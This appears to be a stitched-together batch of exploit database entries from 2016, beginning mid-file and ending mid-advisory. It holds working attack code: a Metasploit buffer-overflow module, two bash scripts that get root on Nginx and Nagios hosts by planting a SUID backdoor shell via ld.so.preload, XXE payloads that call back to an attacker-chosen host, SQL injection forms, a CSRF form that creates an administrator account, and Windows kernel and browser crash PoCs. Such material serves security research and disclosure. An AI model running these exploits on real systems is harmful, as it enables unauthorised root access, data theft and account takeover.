vhd_type.DeviceId = StorageDeviceType.Vhdx;
vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;
CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
ps.Version = CreateVirtualDiskVersion.Version1;
ps.SectorSizeInBytes = disk.SectorSizeInBytes;
ps.MaximumSize = disk.SizeInBytes + (100 * 1024 * 1024);
ps.SourcePath = disk.Name;
IntPtr hDisk;
int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
if (error != 0)
{
throw new Win32Exception(error);
}
return new SafeFileHandle(hDisk, true);
}
static void Main(string[] args)
{
try
{
if (args.Length < 2)
{
Console.WriteLine(@"[USAGE]: poc output.vhdx driveno");
Console.WriteLine("Where driveno is one of the following indexes");
PrintPhysicalDisks();
Environment.Exit(1);
}
string vhd_path = Path.GetFullPath(args[0]);
vhd_path = Path.ChangeExtension(vhd_path, ".vhdx");
File.Delete(vhd_path);
PhysicalDisk disk = GetPhysicalDisk(uint.Parse(args[1]));
Console.WriteLine("[INFO]: Creating VHD {0} from {1}", vhd_path, disk.Name);
using (SafeFileHandle handle = CreateVHD(vhd_path, disk))
{
Console.WriteLine("[SUCCESS]: Created clone of physical disk");
}
}
catch (Exception ex)
{
Console.WriteLine("[ERROR]: {0}", ex.Message);
}
}
}
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=874
We have encountered a Windows kernel crash in the nt!RtlEqualSid function invoked through nt!SeAccessCheck by nt!CmpCheckSecurityCellAccess while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:
---
PAGE_FAULT_BEYOND_END_OF_ALLOCATION (cd)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: a1f11004, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 816d40b3, if non-zero, the address which referenced memory.
Arg4: 00000000, Mm internal code.
Debugging Details:
------------------
[...]
STACK_TEXT:
92bbb5e4 816f92b9 a1f11004 83af4ff0 92bbb6ac nt!RtlEqualSid+0x9
92bbb604 816d3292 00000000 20204d43 00000000 nt!RtlpOwnerAcesPresent+0x87
92bbb634 816d3cfe a1f10f50 00000001 00bbb6b0 nt!SeAccessCheckWithHint+0x178
92bbb668 818f8ff8 a1f10f50 92bbb6b0 00000000 nt!SeAccessCheck+0x2a
92bbb6c0 81820906 a75e69c8 000051d8 00000001 nt!CmpCheckSecurityCellAccess+0xe5
92bbb6fc 818206ad 03010001 92bbb728 92bbb718 nt!CmpValidateHiveSecurityDescriptors+0x1bd
92bbb73c 8182308f 03010001 80000588 8000054c nt!CmCheckRegistry+0xd8
92bbb798 817f6fa0 92bbb828 00000002 00000000 nt!CmpInitializeHive+0x55c
92bbb85c 817f7d85 92bbbbb8 00000000 92bbb9f4 nt!CmpInitHiveFromFile+0x1be
92bbb9c0 817ffaae 92bbbbb8 92bbba88 92bbba0c nt!CmpCmdHiveOpen+0x50
92bbbacc 817f83b8 92bbbb90 92bbbbb8 00000010 nt!CmLoadKey+0x459
92bbbc0c 8168edc6 0014f8a4 00000000 00000010 nt!NtLoadKeyEx+0x56c
92bbbc0c 77cc6bf4 0014f8a4 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0014f90c 00000000 00000000 00000000 00000000 0x77cc6bf4
[...]
FOLLOWUP_IP:
nt!RtlEqualSid+9
816d40b3 668b06 mov ax,word ptr [esi]
---
The issue reproduces on Windows 7. It is easiest to reproduce with Special Pools enabled for the NT kernel (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation. In order to reproduce the problem with the provided sample, it is necessary to load it with a dedicated program which calls the RegLoadAppKey() API.
3 samples attached with single-byte differences compared to the original file, and the base sample itself.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40766.zip
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
This issue is triggered when a client connects to the server and is
expecting the Server Ready response.
},
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'hyp3rlinx' # Original discovery
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '40693'],
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
'Offset' => 2065,
'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 03 2016',
'DefaultTarget' => 0))
end
def on_client_unknown_command(c, _cmd, _arg)
c.put("200 OK\r\n")
end
def on_client_connect(c)
print_status("Client connected...")
sploit = rand_text(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << make_nops(20)
c.put("220" + sploit + "\r\n")
c.close
end
end
#!/bin/bash
#
# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# as well as Gentoo etc.) to escalate their privileges from nginx web server user
# (www-data) to root through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}
#intro
cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
\
\ __---__
_- /--______
__--( / \ )XXXXXXXXXXX\v.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX\
/XXXXX( )--_ XXXXXXXXXXX\
/XXXXX/ ( O ) XXXXXX \XXXXX\
XXXXX/ / XXXXXX \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
\- --__/ ___/\ XXXXXX / ___--/=
\-\ ___/ XXXXXX '--- XXXXXX
\-\/XXX\ XXXXXX /XXXXX
\XXXXXXXXX \ /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
# [ Exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
rm -f $ERRORLOG
echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i
# Job done.
cleanexit 0
# Software : CS-Cart <= 4.3.10
# Vendor home : cs-cart.com
# Author : Ahmed Sultan (@0x4148)
# Home : 0x4148.com
# Email : 0x4148@gmail.com
# Tested on : apache on windoes with php 5.4.4 / apache on linux with php <5.2.17
From vendor site
CS-Cart is an impressive platform for users to any level of eCommerce
experience.
With loads of features at a great price, CS-Cart is a great shopping cart
solution that will quickly enable your online store to do business.
XXE I : Twimgo addon
app/addons/twigmo/Twigmo/Api/ApiData.php
Line 131
public static function parseDocument($data, $format =
TWG_DEFAULT_DATA_FORMAT)
{
if ($format == 'xml') {
$result = @simplexml_load_string($data, 'SimpleXMLElement',
LIBXML_NOCDATA);
return self::getObjectAsArray($result);
} elseif ($format == 'jsonp') {
return (array) json_decode($data, true);
} elseif ($format == 'json') {
return (array) json_decode($data, true);
}
return false;
}
POC
<?php
$xml="
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM 'http://YOUR_HOST/0x4148.jnk' >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>&xxe;</killit>
</document>
";
echo rawurlencode(base64_encode($xml));
?>
change YOUR_HOST to your server address , use the output in the following
POST request
Action -> HOST/cs-cart/index.php?dispatch=twigmo.post
Data -> action=add_to_cart&data=DATA_OUT_PUT_HERE&format=xml
a GET request will be sent to your webserver from the vulnerable host
indicating successful attack
(Require twimgo addon to be activated)
XXE II : Amazon payment
File : app/payments/amazon/amazon_callback.php
Line 16
use Tygh\Registry;
if (!defined('BOOTSTRAP')) { die('Access denied'); }
include_once (Registry::get('config.dir.payments') .
'amazon/amazon_func.php');
fn_define('AMAZON_ORDER_DATA', 'Z');
if (!empty($_POST['order-calculations-request'])) {
$xml_response = $_POST['order-calculations-request'];
} elseif (!empty($_POST['NotificationData'])) {
$xml_response = $_POST['NotificationData'];
}
if (!empty($_POST['order-calculations-error'])) {
// Process the Amazon callback error
$xml_error = $_POST['order-calculations-error'];
$xml = @simplexml_load_string($xml_error);
if (empty($xml)) {
$xml = @simplexml_load_string(stripslashes($xml_error));
}
// Get error message
$code = (string) $xml->OrderCalculationsErrorCode;
$message = (string) $xml->OrderCalculationsErrorMessage;
POC
sending POST request to
app/payments/amazon/amazon_checkout.php
setting POST parameter order-calculations-request to
<?xml version='1.0'?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://host/amazon.jnk" >]>
<document>
<Author>Ahmed sultan (0x4148)</Author>
<killit>%26xxe%3b</killit>
</document>
Will result in an GET request to your host from the vulnerable machine ,
indicating successful attack
(Require amazon payment method to be activated)
Disclosure time line
10/11 vulnerabilities reported to the vendor
11/11 Vendor asked for extra details
12/11 Vendor acknowledged the validity of vulnerabilities and asked for
time to fix
16/11 vendor permitted public release
Reference
https://0x4148.com/2016/11/10/cs-cart/
# Exploit Title: Answer My Question 1.3 Plugin for WordPress – Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/answer-my-question/
# Software Link: https://wordpress.org/plugins/answer-my-question/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3
# Tested on: Windows 8.1
1 - Description
$_POST['id'] is not escaped. Url is accessible for any user.
http://lenonleite.com.br/en/blog/2016/11/11/answer-my-question-1-3-plugin-for-wordpress-sql-injection/
2 - Proof of Concept
<form method="post" action="http://localhost:1406/wp/wp-content/plugins/answer-my-question/modal.php">
<input type="text" name="id" value="0 UNION SELECT 1,2,3,4,5,6,slug,term_group,name,10,11,12 FROM wp_terms WHERE term_id=1">
<input type="submit" value="Send">
</form>
3. Solution
--
Atenciosamente
Lenon Leite
# Exploit Title: Sirv 1.3.1 Plugin For WordPress Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/sirv/
# Software Link: https://wordpress.org/plugins/sirv/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3.1
# Tested on: Windows 8.1
1 - Description
$_POST[ ‘id’ ] is not escaped. sirv_get_row_by_id() is accessible for every
registered user.
http://lenonleite.com.br/en/blog/2016/11/10/sirv-1-3-1-plugin-for-wordpress/
2. Proof of Concept
Login as regular user.
<form method="post" action="http://target/wp-admin/admin-ajax.php">
<input type="text" name="row_id" value="0 UNION SELECT 1, name,slug, term_group, 6, 7, 8, 9, 10, 11, 12 FROM wp_terms WHERE term_id=1">
<input type="text" name="action" value="sirv_get_row_by_id">
<input type="submit" value="Send">
</form>
3. Solution:
Update to version 1.3.2
--
Atenciosamente
Lenon Leite
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=948
In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached:
var p = new Proxy(eval, {});
p("alert(\"e\")");
-->
<html>
<body>
<script>
var p = new Proxy(eval, {});
p("alert(\"e\")");
</script>
</body>
</html>
Affected Product: Nagios 4
Vulnerability Type: root privilege escalation
Fixed in Version: N/A
Vendor Website: https://www.nagios.com/
Software Link: : https://sourceforge.net/projects/nagios/files/latest/download?source=directory-featured
Affected Version: 4.2.2 and prior
Tested on: Ubuntu
Remote Exploitable: No
Reported to vendor: 8 november 2016
Disclosed to public:
Release mode: Responsible Disclosure
CVE-2016-8641 Nagios 4.2.2 - root privilege escalation
Credits: Vincent Malguy
Description (from wikipedia) :
Nagios /ˈnɑːɡiːoʊs/, now known as Nagios Core, is a free and open source computer-software application that monitors systems, networks and infrastructure. Nagios offers monitoring and alerting services for servers, switches, applications and services. It alerts users when things go wrong and alerts them a second time when the problem has been resolved.
********************* CVE-2016-8641 Nagios 4.2.2 - root privilege escalation *********************
Using official installation instruction at https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/quickstart-ubuntu.html,
nagios' user is create with a shell :
Create a new nagios user account and give it a password.
/usr/sbin/useradd -m -s /bin/bash nagios
leading to a entry in /etc/passwd like this "nagios:x:1001:1001::/home/nagios:/bin/bash"
This means that if someone has access to the nagios account, he can access any files own by nagios.
The Nagios startup script, run by root, is insecurely giving owner of file to nagios use :
(/etc/init.d/nagios: line 190)
touch $NagiosRunFile
chown $NagiosUser:$NagiosGroup $NagiosRunFile $NagiosVarDir/nagios.log $NagiosRetentionFile
If Nagios user symlink $NagiosRunFile to a file that he has no access to, at startup or reboot of the nagios daemon, the init script with give him ownership of the linked file.
Exploit :
#!/bin/bash -p
#
TARGETSERVICE="Nagios"
LOWUSER="nagios"
TARGETPATH="/usr/local/nagios/var/nagios.lock"
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/rootbackdoor"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TARGETPATH
touch $TARGETPATH
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e "\033[94m \nNagios - Root Privilege Escalation PoC Exploit \nNagios-chowned.sh (ver. 1.0)\n\nCVE-2016-XXXX \n"
echo -e "Discovered by: Vincent Malguy\n Original exploit code borrow from Dawid Golunski http://legalhackers.com (Thanks!)\033[0m"
# Priv check
echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q ${LOWUSER}
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as ${LOWUSER} user! Exiting.\n"
exit 3
fi
echo -e "\n[+] Target ${LOWUSER} file set to $TARGETPATH "
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file to /etc
rm -f $TARGETPATH && ln -s /etc/ld.so.preload $TARGETPATH
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $TARGETPATH file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TARGETPATH`"
# Kill target service if possible
#echo -ne "\n[+] Killing ${TARGETSERVICE}...\n"
#killall ${TARGETSERVICE}
# Wait for target service startup to re-create target file
echo -ne "\n[+] Waiting for ${TARGETSERVICE} startup to re-create the ${TARGETPATH}...\n"
while :; do
# if target file can be recreated by target process (like logs files), we need to keep remove and link it
rm -f $TARGETPATH && ln -s /etc/ld.so.preload $TARGETPATH
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $TARGETPATH
break;
fi
done
# /etc/ld.so.preload dir should be owned by our low priv controled user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] ${TARGETSERVICE} restarted. The /etc/ld.so.preload file got created with ${LOWUSER} privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mGot root! The ${TARGETSERVICE} server has been ch-OWNED !\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
# Job done.
cleanexit 0
Document Title:
===============
EditMe CMS - CSRF Privilege Escalate Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1996
Release Date:
=============
2016-11-14
Vulnerability Laboratory ID (VL-ID):
====================================
1996
Common Vulnerability Scoring System:
====================================
2.8
Product & Service Introduction:
===============================
EditMe is a framework that serves as a Platform as a Service to build custom Web Applications, Web Prototyping,and Web CMS.
CMS in which any page can be a server side script that implements whatever dynamic functionality you dream up. That's EditMe. No FTP servers, compilers or IDEs required. EditMe's API uses server-side JavaScript and our templates use XML, so there are no new languages to lear.
(Copy of the Vendor Homepage: http://www.editme.com/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a csrf privilege escalate web vulnerability in the official EditMe content managament system.
Vulnerability Disclosure Timeline:
==================================
2016-11-14: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A cross site request forgery vulnerability has been discovered in the official EditMe content managament system.
The vulnerability allows to perform malicious client-side web-application requests to execute non-protected functions
with own web context.
In the absence of security token, an attacker could execute arbitrary code in the administrators browser to gain
unauthorized access to the administrator access privileges.
Proof of Concept (PoC):
=======================
Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction.
To demonstrate safety or reproduce csrf web vulnerability information and follow the steps below to continue provided.
--- PoC: CSRF Exploitation ---
<html>
<h2>Privilege Escalate CSRF Vulnerability</h2>
<form action="http://localhost/_Register" method="post">
<input name="mode" value="AdminAdd" type="hidden">
<input name="redirect" value="" type="hidden">
<td><select name="user-groupname">
<option value="A"selected="">Administrator</option></select></td>
<input name="user-username" value="VulnerabilityLab" type="hidden">
<input name="user-password" value="1234" type="hidden">
<input name="user-password2" value="1234" type="hidden">
<input name="user-email" value="tested@live.fr"type="hidden">
<input class="button" style="font-size:110%" name="regSubmit" value="Save" type="submit">
</form>
</html>
--- PoC Session Logs [POST]---
Status: 200 [OK]
Host: pentest.editme.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=164978144.641387690.1478254033.1478262268.1478328738.3; __utmz=164978144.1478328738.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); km_lv=x; km_ai=i3E6P9IiO690CMxX353C5RCJAVY%3D; km_uq=; __utma=1.330307796.1478254213.1478254213.1478329355.2; __utmz=1.1478254213.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=164978144.3.10.1478328738; __utmc=164978144; JSESSIONID=377D65CA3361D7998A1173C97420C846; visited=" Home 404"; __utmb=1.24.10.1478329355; __utmc=1; __utmt=1; editme-user=admin; editme-key="ECiu7PBk57GYeaLPUxHeDw=="
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
-
POST Method: mode=AdminAdd&redirect=&user-groupname=A&user-username=VulnerabilityLab&user-password=1234&user-password2=1234&user-email=tested%40live.fr®Submit=Save
Security Risk:
==============
The security rsik of the client-side cross site request forgery web vulnerability in the application is estimated as medium. (CVSS 2.8)
Credits & Authors:
==================
ZwX - (http://zwx.fr/) )[http://www.vulnerability-lab.com/show.php?user=ZwX]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
'''
# Title: Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability
# Author: Zhou Yu
# Email: 504137480@qq.com
# Vendor: http://www.moxa.com/
# Versions affected: 1.5 or prior versions
# Test on: Moxa SoftCMS 1.5 on Windows 7 SP1 x32
# CVE: CVE-2016-9332
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-16-322-02
Vulnerability Description:
AspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.
